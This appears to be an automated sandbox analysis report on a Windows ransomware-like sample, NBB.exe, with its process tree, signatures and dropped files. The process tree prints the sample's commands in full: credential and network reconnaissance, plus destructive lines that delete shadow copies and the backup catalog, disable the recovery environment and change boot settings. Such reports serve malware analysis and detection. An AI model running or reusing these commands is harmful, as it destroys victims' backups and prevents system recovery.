Analysis
- max time kernel
0s - max time network
31s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20251017-en - resource tags
- submitted
07/05/2026, 10:20
General
- Target NBB.exe
- Size 145KB
- Sample260507-mdfmpabw21
- SHA256 59dd29982f9644046b726452978de2dbed11d12c4c5a7eb22e4ad52d7951c16d
Malware Config
Signatures
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs
- Deletes backup catalog 3 TTPs 1 IoCs
Uses wbadmin.exe to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- System Network Connections Discovery 1 TTPs 2 IoCs
Attempt to get a listing of network connections.
- Delays execution with timeout.exe 1 IoCs
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\NBB.exe"C:\Users\Admin\AppData\Local\Temp\NBB.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c wmic path win32_VideoController get name2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵
- Detects videocard installed
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c cmdkey /list2⤵
-
C:\Windows\system32\cmdkey.execmdkey /list3⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -ano2⤵
- System Network Connections Discovery
-
C:\Windows\system32\NETSTAT.EXEnetstat -ano3⤵
- System Network Connections Discovery
- Gathers network information
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist /v2⤵
-
C:\Windows\system32\tasklist.exetasklist /v3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami /all2⤵
-
C:\Windows\system32\whoami.exewhoami /all3⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all2⤵
-
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet2⤵
-
C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reagentc.exe /disable2⤵
-
C:\Windows\system32\ReAgentc.exereagentc.exe /disable3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no2⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no3⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin delete catalog -quiet2⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet3⤵
- Deletes backup catalog
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -Command "Set-Service -Name WerSvc -StartupType Disabled"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-Service -Name WerSvc -StartupType Disabled"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {current} safeboot2⤵
-
C:\Windows\system32\bcdedit.exebcdedit /deletevalue {current} safeboot3⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C timeout 2 && Del /Q /F C:\Users\Admin\AppData\Local\Temp\NBB.exe2⤵
-
C:\Windows\system32\timeout.exetimeout 23⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Q1VSUkVOVA.36076
TUFOSUZFU1QtMDAwMDAx.36076
Secure Preferences
aW5kZXg.36076
ZGF0YV8w.36076
ZGF0YV8x.36076
ZGF0YV8y.36076
ZGF0YV8z.36076
data_2
data_2
192.png
Web Data
data_2
index
ukm_db-wal
374B9B139673B5DDBE8D5AC8EE2C2175235CBE1A
7CBCEF5162967CB4F8AB18F2FF2C849491E2F64F
CFCCBA9DAB0559A011620F23DC246FB3099B22B6
analytics-track-digest256.vlpset
JavaDeployReg.log
Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20251017143653.log
__PSScriptPolicyTest_t02i0qzq.jiy.ps1
cGFyZW50LmxvY2s.36076
extensions.json
1451318868ntouromlalnodry--epcr.sqlite-shm
2918063365piupsah.sqlite
MjgyMzMxODc3N250b3Vyb21sYWxub2RyeS0tbmFvZC5zcWxpdGUtc2ht.36076
MzU2MTI4ODg0OXNkaGxpZS5zcWxpdGU.36076
RestoreWait.jpeg
memory/1160-0-0x0000000000E10000-0x0000000000E3A000-memory.dmp
memory/1160-7-0x0000000002F10000-0x0000000002F22000-memory.dmp
memory/1160-1-0x000000001BAB0000-0x000000001BAC0000-memory.dmp
memory/1160-2-0x0000000002EC0000-0x0000000002ECA000-memory.dmp
memory/1160-634-0x000000001BAB0000-0x000000001BAC0000-memory.dmp
memory/1160-334-0x00000000016D0000-0x00000000016DC000-memory.dmp
memory/1160-1651-0x00000000016D0000-0x00000000016DC000-memory.dmp
memory/5084-20-0x0000028FE0230000-0x0000028FE0252000-memory.dmp
memory/5084-30-0x0000028FC6350000-0x0000028FC635C000-memory.dmp